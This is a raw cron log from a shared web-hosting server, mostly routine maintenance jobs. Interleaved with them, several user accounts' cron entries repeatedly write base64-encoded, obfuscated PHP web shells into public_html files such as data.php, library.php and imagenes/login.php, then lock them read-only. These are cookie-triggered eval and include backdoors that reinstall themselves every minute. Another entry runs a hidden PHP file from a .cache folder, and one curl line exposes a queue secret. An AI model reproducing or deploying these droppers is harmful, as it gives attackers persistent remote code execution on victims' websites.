Jun  7 13:33:01 medusa CROND[6632]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:34:01 medusa CROND[8413]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:34:01 medusa CROND[8414]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:34:01 medusa CROND[8415]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:34:01 medusa CROND[8416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:34:01 medusa CROND[8419]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:34:01 medusa CROND[8426]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:34:01 medusa CROND[8427]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:34:01 medusa CROND[8428]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:34:01 medusa CROND[8429]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:34:01 medusa CROND[8430]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:34:01 medusa CROND[8431]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 13:34:01 medusa CROND[8433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:34:01 medusa CROND[8434]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:35:01 medusa CROND[10180]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 13:35:01 medusa CROND[10181]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 13:35:01 medusa CROND[10182]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 13:35:01 medusa CROND[10183]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 13:35:01 medusa CROND[10184]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:35:01 medusa CROND[10187]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:35:01 medusa CROND[10188]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 13:35:01 medusa CROND[10194]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 13:35:01 medusa CROND[10196]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:35:01 medusa CROND[10198]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 13:35:01 medusa CROND[10197]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:35:01 medusa CROND[10200]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:35:01 medusa CROND[10199]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:35:01 medusa CROND[10201]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 13:35:01 medusa CROND[10202]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:35:01 medusa CROND[10204]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:35:01 medusa CROND[10203]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Jun  7 13:35:01 medusa CROND[10212]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 13:35:01 medusa CROND[10195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:35:01 medusa CROND[10206]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 13:35:01 medusa CROND[10213]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:35:01 medusa CROND[10207]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 13:35:01 medusa CROND[10219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:35:01 medusa CROND[10218]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 13:35:01 medusa CROND[10225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
